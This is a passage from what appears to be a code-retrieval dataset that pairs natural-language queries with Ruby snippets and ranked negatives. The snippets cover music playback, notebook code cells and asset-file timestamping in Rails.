0.66\n sleep 1.66\nend", "def test_poor_predictable_bart()\n assert_equal(\"Paper wins!\", Game.play(\"paper\", \"rock\"))\n end", "def play\n end", "def flamegraph_sample_rate; end", "def witcher; end", "def pound_sterling(pence); end", "def game_mode; end", "def active_voice_indicative_mood_present_tense\n end", "def track_appreciation_factor(playtime, track_duration)\n k = [0, [playtime, track_duration].min].max.to_f / track_duration - 0.5\n l = 1.0 - k.abs\n l\nend", "def romeo_and_juliet_quote\n sample(romeo_and_juliet)\n end", "def playing?\n self.in_progress? or self.caught_up?\n end", "def play_sweet_riff\n puts \"You played a face melting riff!\"\n take_a_drink\n end", "def processing_audio\n list.select {|l| l[:status] == 35 }\n end", "def test_decl20after_marzdecl\r\n rep = ReplayManager.new(@log)\r\n match_info = YAML::load_file(File.dirname(__FILE__) + '/saved_games/2008_05_08_20_21_15-3-no20pt.yaml')\r\n # replay the game\r\n alg_coll = { \"Parma\" => nil, \"igor0500\" => nil } \r\n rep.replay_match(@core, match_info, alg_coll, segno_toplay = 1, max_num_segni_to_play = 1)\r\n assert_equal(0, @io_fake.warn_count)\r\n assert_equal(0, @io_fake.error_count)\r\n # check the fixed end result\r\n assert_equal(true, @io_fake.punteggio_raggiunto(\"igor0500 = 47 Parma = 39 \"))\r\n end", "def alejandro1\n # Variable creation.\n # Data structure (way of storing data): List\n notes = [:b4, :b4, :b4, :d4, :e4, :fs4, :fs4, :e4,\n :fs4, :fs4, :fs4, :cs4, :cs4, :cs4, :cs4] # :r is rest.\n \n durations = [0.5, 0.25, 0.25, 0.5, 0.5, 0.5, 1, 0.5,\n 0.5, 0.5, 0.5, 0.5, 0.5, 1, 0.5]\n \n play_pattern_timed notes, durations\nend", "def update_tone\n end", "def main_audio\r\n super\r\n # Stop BGM and BGS\r\n $game_system.bgm_play(nil)\r\n $game_system.bgs_play(nil)\r\n # Play game over ME\r\n $game_system.me_play($data_system.gameover_me)\r\n end", "def start_track\r\n 0\r\n end", "def played?\n\t\treturn @played\n\tend", "def played\n won + drawn + lost + noresult\n end", "def alejandro1\n # Variable creation.\n # Data structure (way of storing data): List\n notes = [:b4, :b4, :b4, :d4, :e4, :fs4, :fs4, :e4,\n :fs4, :fs4, :fs4, :c4, :c4, :c4, :c4] # :r is rest.\n \n durations = [0.5, 0.25, 0.25, 0.5, 0.5, 0.5, 1, 0.5,\n 0.5, 0.5, 0.5, 0.5, 0.5, 1, 0.5]\n \n play_pattern_timed notes, durations\nend", "def trader; end", "def song; end", "def song; end", "def song; end", "def song; end", "def song; end", "def song; end", "def song; end", "def song; end", "def has_sound?\n @has_sound = if @movie_info[:format][:nb_streams] == 1\n false\n elsif @movie_info[:format][:nb_streams] == 2\n true\n end\n end", "def possible_plays\n [:paper, :rock, :scissors, :spock, :lizard]\n end", "def update\n en_ee_ge_u\n if @sound.nil? && @page && !@page.sound.empty?\n @sound = RPG::BGS.new(@page.sound[0], volume(*@page.sound[1..2]), 100)\n @sound.play\n end\n if @sound\n @sound.volume = volume(@page.sound[1], @page.sound[2]) and @sound.play\n end\n end", "def tenth_frame; end", "def main_audio\r\n super\r\n # Play title BGM\r\n $game_system.bgm_play($data_system.title_bgm)\r\n # Stop playing ME and BGS\r\n Audio.me_stop\r\n Audio.bgs_stop\r\n end", "def drum_sounds max_amp=0.5, layers =1\n tot = count\n amp = max_amp.to_f / tot #out of total drums\n tot.times do |i| \n this_amp = amp\n wei = (i+1).to_f/(tot+1)\n# this_amp = max_amp if wei < 0.4 # if bass-ish\n range = 0.0\n seqs= 1\n if wei > 0.7 # if hihat-ish\n this_amp /= 3 \n mapee(i).drum(wei, this_amp, 0.04, 1, layers)\n mapee(i)[0].snd.toneseq.tonepart(0).do_all {|tone| tone.saturations.start = 0.5 + rand(3).to_f/10}\n mapee(i)[0].snd.toneseq.do_all{|tp| tp.do_all {|tone|\n tone.detail = 10000\n tone.amp.exp = 0.12\n } }\n else\n if wei > 0.35 && wei < 0.65\n range = 0.5\n seqs= 2+rand(2)\n end\n mapee(i).drum(wei, this_amp, range, seqs, layers)\n end\n end\n end", "def mis_ramos\n\n\tend", "def techno_percussion len\n self << len.Dist # bass drum\n mapee_last.clear_hits\n mapee_last << 4.eqly_spaced\n # max len is full, min quarter\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len*0.666/h_num, len*0.11/h_num) \n\n self << len.Dist # snare\n mapee_last.clear_hits\n mapee_last << [0.25,0.75]\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len/h_num, len/h_num/2) \n \n self << len.Dist # hi\n mapee_last.clear_hits\n mapee_last << 4.eqly_spaced\n mapee_last.hits.move(0.125) # offbeats\n h_num = mapee_last.hits.count\n h_num = 1 if h_num == 0\n mapee_last.length= rand_range(len*0.666/h_num, len*0.666/h_num/2) \n \n self\n end", "def sounds_flatter?(freq1, freq2)\n threshold = freq2 * (1 - FREQUENCY_FUDGE_FACTOR)\n freq1 < threshold\n end", "def distance_base(sound1, sound2)\n (sound1 - sound2).abs % 12\n end", "def in_play?\n started? || in_progress?\n end", "def mov_macros_2s(amp=0.1)\n use_bpm 70\n with_fx :level, amp: amp do\n in_thread do\n 2.times do |i|\n s = :elec_tick\n\n n = [2, 4, 8].choose\n pan = rrand(-1, 0)\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rrand(1,4), amp: 1\n end\n\n pan = rrand(-1,1)\n rate = 2\n amp = 0.5\n n = [2, 4].choose\n with_fx :echo, phase: 0.5 / 8, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rate, amp: amp\n end\n\n sleep 0.125\n sleep 0.125\n\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rate, amp: amp\n end\n sleep 0.125\n sleep 0.125\n\n use_synth :cnoise\n play :e5, release: 0.125, amp: 1\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rate, amp: amp\n end\n sleep 0.125\n sleep 0.125\n\n with_fx :echo, phase: 0.5 / 8, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rate, amp: 1\n end\n\n n = [4, 4, 4, 8].choose\n pan = 0\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample :drum_cymbal_closed, pan: -pan, rate: rrand(1,4), amp: 1\n end\n sleep 0.125\n sleep 0.125\n end\n end\n end\nend", "def beat1(r, n)\r\n # shuffle beat\r\n t1,t2,a1,a2 = 0.45,0.25,0.4,0.5\r\n play r,amp: a1; play r+n; sleep t1\r\n play r,amp: a2; play r+n; sleep t2\r\nend" ]
[ "0.6314039", "0.579496", "0.5673225", "0.56324", "0.5620701", "0.56098676", "0.56085604", "0.55823606", "0.55765975", "0.55461425", "0.548949", "0.548949", "0.5473301", "0.5463166", "0.5430639", "0.53927225", "0.5391879", "0.5385363", "0.5385222", "0.5370647", "0.5357774", "0.5355874", "0.53467244", "0.5343377", "0.53332657", "0.533028", "0.5313205", "0.5312742", "0.53059065", "0.53059006", "0.5301991", "0.5273401", "0.527257", "0.5271407", "0.5271199", "0.52579725", "0.52567387", "0.52355784", "0.5228886", "0.52188313", "0.52179575", "0.5217596", "0.52112496", "0.51992804", "0.5198654", "0.51883745", "0.51853466", "0.5182078", "0.5170847", "0.5167854", "0.51677096", "0.5151458", "0.5151458", "0.5151458", "0.5151458", "0.5134597", "0.51333624", "0.5130926", "0.51122254", "0.51008004", "0.5088822", "0.50827914", "0.50780994", "0.5069003", "0.50624704", "0.5061541", "0.5061395", "0.50583243", "0.5051712", "0.5048253", "0.5040676", "0.5037098", "0.5033513", "0.50314635", "0.50231874", "0.50003034", "0.5000232", "0.49983987", "0.49971214", "0.49948847", "0.49948847", "0.49948847", "0.49948847", "0.49948847", "0.49948847", "0.49948847", "0.49948847", "0.49903533", "0.49879485", "0.49777055", "0.49754426", "0.49725324", "0.49720022", "0.49701694", "0.49673742", "0.49600196", "0.49560028", "0.49416298", "0.4941564", "0.49399593" ]
0.5760553
2
Get the code cell
def set_code_cell @code_cell = CodeCell.find_by!(notebook: @notebook, cell_number: (params[:id].to_i - 1).to_s) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def source\n notebook.notebook.code_cells_source[cell_number]\n end", "def code\r\n return @code[@index]\r\n end", "def code\n @code\n end", "def code\n @code\n end", "def code\n @code\n end", "def code\n @code\n end", "def code\n @code\n end", "def code()\n return @code.clone()\n end", "def getCode()\n return @code\n end", "def code\n @data['code']\n end", "def code\n @data['code']\n end", "def code\n @code ||= @codes.first\n end", "def code\n @data['code']\n end", "def get_line(code)\n return code[2][0]\n end", "def code\n body.code.intern if body.respond_to?(:code) && body.code\n end", "def code\n @info.code\n end", "def code_cell\r\n # Code the cell (logic in code_cell here)\r\n codings = Mx.code_cell(params)\r\n\r\n # Navigate between cells if you are in on click\r\n if @coding_mode == :one_click \r\n @position += 1\r\n if @mode == 'row'\r\n unless @chrs.length > @position\r\n notice \"You've finished one-click coding for that OTU.\"\r\n redirect_to :action => :show_otus, :id => @mx.id and return\r\n end\r\n @chr = @chrs[@position] # update the @chr, the @otu stays the same\r\n elsif @mode == 'col'\r\n unless @otus.length > @position\r\n notice \"You've finished one-click coding for that character.\"\r\n redirect_to :action => 'show_characters', :id => @mx.id and return\r\n end\r\n @otu = @otus[@position] # update the @otu, the @chr stays the same\r\n else\r\n raise\r\n end\r\n end\r\n\r\n # TODO: This really is not optimal, because we have to laod all the variables again\r\n # Ideally (in the AJAX call here) we'd just render the template 'mxes/code/code' without the redirect\r\n # If we get here in a standard POST we'd get a :code_cell action in the URL/browser using a render :template, which we don't want\r\n redirect_to code_mx_path(@proj, @mx, @mode, @position, @chr, @otu) \r\n end", "def code\n self.class.code\n end", "def getChar\n if @index <= @code.size - 1\n return @code[@index] if !@code[@index].nil?\n end\n # If nil return empty string.\n return nil\n end", "def cell(op, index, table_type)\n snippet = \"\"\n if op.nil?\n snippet += \"<td class='opcode op-#{index} unused'></td>\"\n else\n snippet += \"<td class='opcode op-#{index} #{op['group'].to_s.tr('/', '-')}'>\"\n snippet += \" <div class='mnemonic'>\"\n snippet += \" #{op['mnemonic']} \"\n snippet += \" #{op['operand1']}\" if op['operand1']\n snippet += \" , #{op['operand2']}\" if op['operand2']\n snippet += \" </div>\"\n snippet += \" <div>\"\n snippet += \" <span class='length'>#{op['length']}</span>\"\n snippet += \" <span class='cycles'>#{op['cycles'].join(\"-\")}</span>\"\n snippet += \" </div>\"\n snippet += \" <div class='flags'>#{op['flags'].join(' ')}</div>\"\n snippet += \"</td>\"\n end\n snippet\nend", "def to_code\n if @sexp\n \"/*:#{@sexp.line}:#{@sexp.column}*/#{@code}\"\n else\n @code\n end\n end", "def code\n info['Code']\n end", "def get_definition(codeClass, outCode)\n outCode.indent\n\n outCode.add(\"/**\")\n outCode.add(\"* Loads data into a cell in this data set\")\n outCode.add(\"*/\")\n\n outCode.add(\"public function loadCell($cellString, $errorList, $curRowIndex, $curCellIndex)\")\n outCode.add(\"{\");\n \n outCode.iadd(1, \"if (isset($cellString) && strlen(trim($cellString)) > 0)\");\n outCode.iadd(1, \"{\");\n outCode.iadd(2, \"switch($curCellIndex)\");\n outCode.iadd(2, \"{\");\n \n varNum = 0;\n\n varArray = Array.new\n codeClass.getAllVarsFor(varArray);\n\n for var in varArray\n if var.elementId == CodeElem::ELEM_VARIABLE\n \n if XCTEPhp::Utils::isPrimitive(var)\n outCode.iadd(3, \"case \" << varNum.to_s << \": $this->dataSet['\" << var.name << \"'] = \")\n outCode.iadd(3, \"$cellString; break;\") \n else\n outCode.iadd(3, \"case \" << varNum.to_s << \": $this->dataSet['\" << var.name << \"'] = \")\n outCode.sameLine(\"new \" << var.vtype << \"($cellString); break;\") \n end \n \n varNum = varNum + 1;\n end\n end\n \n outCode.iadd(3, \"default: break;\");\n \n outCode.iadd(2, \"}\");\n outCode.iadd(1, \"}\");\n \n outCode.add(\"}\");\n outCode.unindent\n end", "def ceeb_code\n @data['ceebCode']\n end", "def get_cell(cell)\n query_cell_info '/cell/get', cell\n end", "def at(x, y)\n @codeGrid[y][x]\n end", "def subCode\n if self.code.present?\n return self.codeArray[-1]\n else\n return nil\n end\n end", "def getCell(row,col)\n the_row = @rows[row]\n the_cell = the_row.cells[col]\n return the_cell\n end", "def cell(reference)\n if inline_ast.call(current_sheet_name.last,reference.upcase.gsub('$',''),references)\n @replacements_made_in_the_last_pass += 1\n ast = references[current_sheet_name.last][reference.upcase.gsub('$','')]\n if ast\n map(ast)\n else\n [:blank]\n end\n else\n if current_sheet_name.size > 1\n [:sheet_reference,current_sheet_name.last,[:cell,reference]]\n else\n [:cell,reference]\n end\n end\n end", "def code\n\t\ttoken\n\tend", "def code\n '202'\n end", "def get_elem cell\n\t\treturn @elements[cell]\n\tend", "def inspect\n @code.to_s\n end", "def get_cell(row, column)\n @fields[row][column]\n end", "def code\n\t\tself.AsArray[0].type_code\n\tend", "def cell(cell)\n @board[cell]\n end", "def parse_codespan; end", "def code\n @attributes[:code]\n end", "def code\n @attributes[:code]\n end", "def code\n @attributes[:code]\n end", "def code\n @attributes[:code]\n end", "def getCell(x, y)\n return @grid.getCell(x,y)\n end", "def string=(code); end", "def get_code\n listener = event_table.find{|one| one.class == InstructionListener}\n return nil unless listener\n listener.code\n end", "def cellAt(row, col)\n\t\treturn @rows[row][col]\n\tend", "def contents_of(cell)\n \" \"\n end", "def cells\n @cells\n end", "def cells\n @cells\n end", "def getCell(row, column)\n\n\t\treturn @grid.getElement(row, column)\n\tend", "def inspect\n \"#<#{self.class}: #@code>\"\n end", "def cell(row_num, col_num)\n return @puzzle[row_num][col_num]\n end", "def code(a_code)\n\t\ta_code\n\tend", "def map_code\n @map_code\n end", "def cell(row, column)\n row = row(row)\n cell_value( row.get_or_create_cell( column ) )\n end", "def codeblock\n H[:pre, attr, H[:code, value]]\n end", "def codeOf node\n node.css(\"td.code a\")[0]\n .attributes[\"name\"]\n .value\n .gsub(\"_\", \"-\")\nend", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code_to_key\n @code[0..2]\n end", "def build_cell(cell)\n # implement in row class\n nil\n end", "def read_cell_content(row, idx)\n cell = row.at(idx)\n if cell.class == ::Spreadsheet::Formula\n # Formulas oftentimes lose type information\n cell = cell.value.to_f rescue cell.value\n cell = cell.to_i if (cell.to_f % 1).zero? rescue cell\n end\n\n cell\n end", "def to_s\n code # editable\n end", "def get_cell(x, y)\n grid[x][y]\n end", "def to_code\n \"#{@x}\"\n end", "def content_for(code_object)\n Code.new(render_doc_markup_for(code_object),\n start_line_for(code_object), :text).\n with_line_numbers(use_line_numbers?).to_s\n end", "def show_cell(i)\n return @genes[i]\n end", "def cell(row, column)\n Cell.new(@data, row, column)\n end", "def get\n @source_index += 1\n\n # Maintain line count.\n prev_char = @source_text[@source_index - 1]\n if @source_index.positive? && prev_char == \"\\n\"\n @line_index += 1\n @col_index = -1\n end\n\n @col_index += 1\n char = if @source_index > @last_index\n # Read past the end of source text.\n END_MARK\n else\n @source_text[@source_index]\n end\n Character.new(char, @line_index, @col_index, @source_index, @source_text)\n end", "def find_start\n find_cell(START)\n end", "def code_html\n CodeRay.scan(self.code, :python).div().html_safe\n end", "def cell(row_index, column_index)\n row(row_index).cell(column_index)\n end", "def position(cell)\n index = cell.to_i - 1\n (index >= 0 && index <= 8) ? self.cells[index] : nil\n end", "def excel_col()\n ( ( ( (self - 1)/26>=1) ? ( (self - 1)/26+64).chr: '') + ((self - 1)%26+65).chr)\n end", "def hc(row,col)\n build :cell, row: row, col: col\n end", "def cell(data)\n rw, col, ixfe = data.unpack('v3')\n\n {\n rw: rw, # rw (2 bytes): An Rw that specifies the row.\n col: col, # col (2 bytes): A Col that specifies the column.\n ixfe: ixfe # ixfe (2 bytes): An IXFCell that specifies the XF record.\n }\n end", "def parseCpGenerateCode\n return @fields[0][0][0]\n end", "def celltype(row, col, sheet = default_sheet)\n read_cells(sheet)\n row, col = normalize(row, col)\n if @formula.size > 0 && @formula[sheet][\"#{row},#{col}\"]\n :formula\n else\n @cell_type[sheet][\"#{row},#{col}\"]\n end\n end", "def name\n return \"#{@code}\"\n end", "def get_code_fragment(str)\n $document\n .at_css('#tryruby-content code')\n &.inner_html\n .to_s\n .strip\n .gsub(\"&lt;\", \"<\")\n .gsub(\"&gt;\", \">\")\n .gsub(\"&amp;\", \"&\")\n end", "def col\r\n @lines[@line_num].cursor\r\n end", "def to_s\n @code.to_s\n end", "def codes; end", "def e_bmn_code\n if self.e_bmn.nil?\n return ''\n end\n return self.e_bmn.code\n end", "def code\n index = 16 +\n RGB.to_ansi_domain(@red) * 36 +\n RGB.to_ansi_domain(@green) * 6 +\n RGB.to_ansi_domain(@blue)\n\n \"#{@ground_code};5;#{index}\"\n end", "def cell_name\n self.name.underscore.sub(/_cell\\Z/, '')\n end", "def row_col(pos)\n _pos = 0\n row = 0\n col = 1\n @codes.each do |code|\n break if _pos >= pos\n if line_terminator?(code)\n row += 1\n col = 0\n else\n col += 1\n end\n _pos += 1\n end\n return [row+1, col+1]\n end", "def cell_type(row, col)\n @types[row * @col_count + col]\n end", "def cell_name\n name.underscore.sub(/_cell/, '')\n end", "def get_col_cells col\n\t\treturn (col...9 ** 2).step(9).to_a\n\tend", "def hash\n code.hash\n end", "def contents_of cell:\n\t\tif distances && distances[cell]\n\t\t\tdistances[cell].to_s(36)[-1]\n\t\telse\n\t\t\t\" \"\n\t\tend\n\tend", "def hash\n code.hash\n end", "def lh_cell\n v1.cells[(clockwise_directions.index(direction) + 3) % 4]\n end", "def print_cell(c)\n result = \"-------|\\n\"\n if c.solved?\n rows = <<EOT\n ` ` ` |\n ` #{c.val} ` |\n ` ` ` |\nEOT\n result += rows # don't += on the same line as above, it screws up my syntax highlighting\n return result\n else\n result += print_unsolved_cell(c)\n end\n return result\n end", "def sic_code; end" ]
[ "0.78243166", "0.74905294", "0.6954769", "0.6954769", "0.6933515", "0.6933515", "0.69145435", "0.68918127", "0.6778994", "0.6748761", "0.6748761", "0.67406553", "0.6681829", "0.6589386", "0.6484917", "0.64305407", "0.64040905", "0.62440234", "0.624104", "0.6154334", "0.6151933", "0.6102823", "0.6080297", "0.60427696", "0.6035087", "0.6020411", "0.5973242", "0.5971303", "0.59692776", "0.5968538", "0.5889828", "0.5877318", "0.58598846", "0.5851996", "0.5850227", "0.58460325", "0.582626", "0.5815828", "0.5815828", "0.5815828", "0.5815828", "0.5812567", "0.5792651", "0.57732177", "0.57403314", "0.5729439", "0.5728419", "0.5728419", "0.57239705", "0.5722905", "0.57227015", "0.57108366", "0.57017624", "0.56769377", "0.56688875", "0.5638664", "0.5607099", "0.5607099", "0.5607099", "0.5607099", "0.5607099", "0.5607099", "0.5607099", "0.5602485", "0.5601323", "0.559896", "0.55937237", "0.5585548", "0.55809224", "0.55713224", "0.55689263", "0.55578315", "0.5551229", "0.5548765", "0.5548093", "0.5539884", "0.5539213", "0.55272067", "0.5513859", "0.5508196", "0.55059624", "0.5489518", "0.54853404", "0.547024", "0.5450282", "0.54496014", "0.544641", "0.54247916", "0.5422003", "0.5419589", "0.5417923", "0.5399524", "0.5399294", "0.5395826", "0.5394816", "0.5388808", "0.5378535", "0.53780925", "0.537738", "0.5377354" ]
0.6303159
17
This helper timestamps asset files (css, js etc). Typically used in 'skin' files to precalculate the actual path. TEMP version: just attaches the $build number. ++
def timestamp_asset(path) return "#{path}?t=#$app_build" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def asset_timestamp(file_path)\n return nil if file_path =~ /\\?/ || (self.class.respond_to?(:asset_stamp) && !self.class.asset_stamp)\n public_path = self.class.public_folder if self.class.respond_to?(:public_folder)\n public_path ||= Padrino.root(\"public\") if Padrino.respond_to?(:root)\n public_file_path = File.join(public_path, file_path) if public_path\n stamp = File.mtime(public_file_path).to_i if public_file_path && File.exist?(public_file_path)\n stamp ||= Time.now.to_i\n \"?#{stamp}\"\n end", "def add_time_stamp(path)\n logger.debug \"sprockets cache busting: #{File.basename path}\"\n lines = File.readlines path\n lines.slice!(0) if lines.first.match(/^#=Timestamp/)\n lines = [\"#=Timestamp #{Time.now}\\n\"] + lines\n File.open(path, \"w\") do |f|\n lines.each{|l| f.write l}\n end\n end", "def source_file_mtime; end", "def css_time_stamp\n return File.new(DEFAULT_CSS).mtime.to_i\n end", "def timestamp\n @file_mtime ||\n if _exist?(name)\n @file_mtime = _mtime(name.to_s)\n else\n Rake::LATE\n end\n end", "def now!\r\n @last_build_file.modification_time = @time = Time.now\r\n end", "def asset_modified(path)\n @task.say 'Recompiling assets'\n @builder.compile_assets\n end", "def versioned_js(js)\n \"/javascripts/#{js}.js?\" + File.mtime(File.join(Sinatra.application.options.public, \"javascripts\", \"#{js}.js\")).to_i.to_s\n end", "def timestamp\n if File.exist?(name)\n File.mtime(name.to_s)\n else\n Rake::EARLY\n end\n end", "def timestamp\n begin\n File.mtime(name)\n rescue Errno::ENOENT\n Rake::LATE\n end\n end", "def source_file_mtime\n File.mtime(path)\n end", "def asset_version path\n path = File.expand_path(File.join(public_dir, path))\n md5(path)\n end", "def stamp\n files.map { |f| File.mtime(path(f)) }.max.to_i\n end", "def max_mtime_for(subpath)\n times = [ super(subpath) ]\n times << @asset_packager_yml_file_mtime.to_i if @asset_packager_yml_file_mtime\n times.compact.max\n end", "def updated_at\r\n File.stat(\"#{RAILS_ROOT}/public/games/container.swf\").mtime\r\n end", "def precompile_assets; end", "def generate_timestamp_file(filename)\n now = Time.now.to_i\n output_path = \"#{@archive_root}/#{filename}\"\n File.write(output_path, now)\n end", "def time\r\n @time ||= @last_build_file.modification_time\r\n end", "def rails_asset_id_with_cloudfront(source)\n if @@cache_asset_timestamps && (asset_id = @@asset_timestamps_cache[source])\n asset_id\n else\n path = File.join(ASSETS_DIR, source)\n rewrite_path = File.exist?(path) && !CloudfrontAssetHost.disable_cdn_for_source?(source) && CloudfrontAssetHost::Uploader.current_paths.include?(path)\n asset_id = if rewrite_path \n CloudfrontAssetHost.key_for_path(path) \n\n elsif File.exists?(path)\n (\"?\" + File.mtime(path).to_i.to_s)\n else\n ''\n end\n\n if @@cache_asset_timestamps\n @@asset_timestamps_cache_guard.synchronize do\n @@asset_timestamps_cache[source] = asset_id\n end\n end\n\n asset_id\n end\n end", "def extned_path\n @temp_path = path\n unless name == nil\n self.path = \"app/assets/templates/#{name.downcase}/#{path}.css.scss\"\n end \n end", "def build_dev\n timer_block(\n 'Start [development] build for *.js files',\n 'JS time: ') do\n all_js_into_one_file\n end\n end", "def rails_asset_id(source)\n if asset_id = ENV[\"RAILS_ASSET_ID\"]\n asset_id\n else\n if @@cache_asset_timestamps && (asset_id = @@asset_timestamps_cache[source])\n asset_id\n else\n path = File.join(ASSETS_DIR, source)\n asset_id = File.exist?(path) ? File.mtime(path).to_i.to_s : ''\n\n if @@cache_asset_timestamps\n @@asset_timestamps_cache_guard.synchronize do\n @@asset_timestamps_cache[source] = asset_id\n end\n end\n\n asset_id\n end\n end\n end", "def compile!\n new_version = generate_version\n new_abs_path = abs_path(new_version)\n return @compiled_path = current_file_path if @compile_files.empty?\n\n FileUtils.mkdir_p @min_dir unless File.exist?(@min_dir)\n js? ? compile_js!(new_abs_path) : compile_css!(new_abs_path)\n\n if not_changed?(new_abs_path, current_abs_path)\n puts \"file not changed, use current file (#{current_file_path})\"\n FileUtils.rm_rf new_abs_path\n @compiled_path = current_file_path\n else\n puts \"new file version (#{file_path(new_version)}) created\"\n @compiled_path = file_path(new_version)\n end\n end", "def get_latest_mtime\n return @sources.collect{ |s| File.mtime(\"#{@asset_path}/#{s}.#{@extension}\") }.max\n end", "def to_production_html\n \"<script type='text/javascript' src='%s?%s'></script>\" % [path, mtime.to_i]\n end", "def generate_timestamp(d)\n now = Time.new\n ts = now.strftime('%Y%m%d%H%M%S')\n\n curdir = Dir.getwd\n Dir.chdir(d)\n\n while true\n ts_m = ts + '_'\n match = Dir.glob('*.rb').find { |fn| fn.start_with?(ts_m) }\n if match.nil?\n Dir.chdir(curdir)\n return ts\n end\n \n now += 1.second\n ts = now.strftime('%Y%m%d%H%M%S')\n end\n end", "def mod_time\n File.mtime(@filepath)\n end", "def file_path\n \"#{Time.now.to_f}.#{filename}\"\n end", "def maybe_append_timestamp(version)\n if Config.append_timestamp && !has_timestamp?(version)\n [version, Omnibus::BuildVersion.build_start_time].join(\"+\")\n else\n version\n end\n end", "def bundleTimestampNone(dest_folder,new_timestamp)\n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n File.utime(new_timestamp, new_timestamp, file)\n if !(File::directory?(file))\n # Add to zip bundle \n archive=zipBundle(file,new_timestamp)\n end \n end\n generateZipBundle() \n @latest_ts=new_timestamp+60\nend", "def bundleTimestampFileCount(dest_folder,new_timestamp,max_count)\n puts \"Modifying timestamp based on file count\"\n# ts= Time.parse(new_timestamp.utc.to_s().split(\"UTC\").first) \n ts= Time.parse(new_timestamp.to_s())\n intial_ts=ts\n fileCount=0 \n old_output_ihtml=@outputRenamed+\"/ihtml/\"\n # Timestamp new files \n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n partName=file.split(dest_folder).last\n if !(File.exists?old_output_ihtml+partName) && !(File.directory?(file))\n if !file.to_s().end_with?(\"searchDB.sql\") && !file.to_s().end_with?(\"deletedFiles.list\")\n if(fileCount>=max_count)\n ts=ts+60\n fileCount=0\n end\n File.utime(ts, ts, file) \n # Add to zip bundle \n archive=zipBundle(file,ts)\n fileCount=fileCount+1\n end\n end\n if !(File.exists?old_output_ihtml+partName) && File.directory?(file)\n File.utime(ts, ts, file)\n end\n end \n # searchDB.sql timestamp as the last bundle of new files but before edited files\n if File.exists?(dest_folder+\"searchDB.sql\")\n if(fileCount>=max_count)\n ts=ts+60\n fileCount=0\n end\n File.utime(ts, ts, dest_folder+\"searchDB.sql\")\n # Add to zip bundle \n archive=zipBundle(dest_folder+\"searchDB.sql\",ts)\n fileCount=fileCount+1\n end\n # Timestamp edited files after new files and searchDB.sql\n @files = Dir.glob(dest_folder+\"**/**\")\n for file in @files\n partName=file.split(dest_folder).last\n if File.exists?(old_output_ihtml+partName) && !(File.directory?(file))\n if !file.to_s().end_with?(\"searchDB.sql\") && !file.to_s().end_with?(\"deletedFiles.list\")\n if(fileCount>=max_count)\n ts=ts+60\n fileCount=0\n end\n File.utime(ts, ts, file)\n # Add to zip bundle \n archive=zipBundle(file,ts) \n fileCount=fileCount+1\n end\n end\n if File.directory?(file)\n File.utime(intial_ts, intial_ts, file)\n end \n end \n # Timestamp deleted file as last bundle\n if (File.exists?(dest_folder+\"deletedFiles.list\"))\n if(fileCount>=max_count)\n ts=ts+60\n fileCount=0\n end\n File.utime(ts, ts, dest_folder+\"deletedFiles.list\")\n # Add to zip bundle \n archive=zipBundle(dest_folder+\"deletedFiles.list\",ts)\n fileCount=fileCount+1\n end\n generateZipBundle() \n @latest_ts=ts+60\nend", "def sprockets_js_erb_cache_bust\n do_sprockets_cache_bust(:time_stamp)\n end", "def run_on_change(paths)\n build_all_assets \"Assets have changed, rebuilding...\"\n end", "def precompile_assets=(_arg0); end", "def generate()\n\t\tjdc='jekyll_date_chart.js'\n\t\tcopy_file \"lib/#{jdc}\", \"_assets/javascripts/#{jdc}\"\n\n\t\tdirectory 'vendor/assets/javascripts/', '_assets/javascripts/'\n\t\tdirectory 'vendor/assets/stylesheets/', '_assets/stylesheets/'\n\tend", "def compute_mtime # :nodoc:\n public_path = File.join(sprockets_helpers_settings.public_path, uri.path)\n \n if File.exist?(public_path)\n File.mtime(public_path)\n else\n nil\n end\n end", "def get_timestamped_env_filename( basename )\n timestamp = DateTime.now().strftime('%Y%m%d%H%M')\n env_code = Rails.env == 'production' ? 'dev' : 'prod'\n \"#{ timestamp }#{ env_code }_#{ basename }\"\n end", "def path_for original\n current_output_directory.join(daily_directory_for(file_time(original).strftime(settings[:ordered_time_pattern]), original)).join(File.mtime(original.to_path).to_i.to_s).join(slug_for(processing_time, original))\n end", "def build_timestamp\n @build_timestamp\n end", "def filename\n DateTime.now.strftime('%Q') + Digest::MD5.hexdigest(original_filename) + original_filename if original_filename\n end", "def update_departure_sample_timestamps\n old_file_path = rename_original_file\n\n build_new_file(old_file_path: old_file_path)\n ensure\n File.delete(old_file_path)\n end", "def rails_asset_id(source)\n asset_id = ENV[\"RAILS_ASSET_ID\"]\n return asset_id if asset_id\n return asset_id if @@cache_asset_timestamps && (asset_id = @@asset_timestamps_cache[source])\n\n path = Rails.root.join('public', source).to_s\n asset_id = File.exist?(path) ? File.mtime(path).to_i.to_s : ''\n\n if @@cache_asset_timestamps\n @@asset_timestamps_cache_guard.synchronize do\n @@asset_timestamps_cache[source] = asset_id\n end\n end\n\n asset_id\n end", "def filename\n current_time = Time.new\n formatted_current_time = current_time.strftime(\"%Y%m%d_%H%M%S\")\n formatted_current_time + \"_\" + original_filename\n end", "def filename\n current_time = Time.new\n formatted_current_time = current_time.strftime(\"%Y%m%d_%H%M%S\")\n formatted_current_time + \"_\" + original_filename\n end", "def assets_path() = self.class.name.demodulize.delete_suffix('Generator').underscore", "def prefix_vite_asset(path)\n File.join(\"/#{ config.public_output_dir }\", path)\n end", "def make_git_timestamp\n \"#{@env}-deploy-#{Time.now.to_s.gsub(/:/, \"-\").gsub(/\\s/, \"-\").gsub(/--/, \"-\")}\"\n end", "def build_file\n @file = \"#{build_publish_date}-#{build_file_name}.#{build_tags}.#{build_filter}\"\n end", "def age() Time.now - mtime end", "def dependency_history_key\n 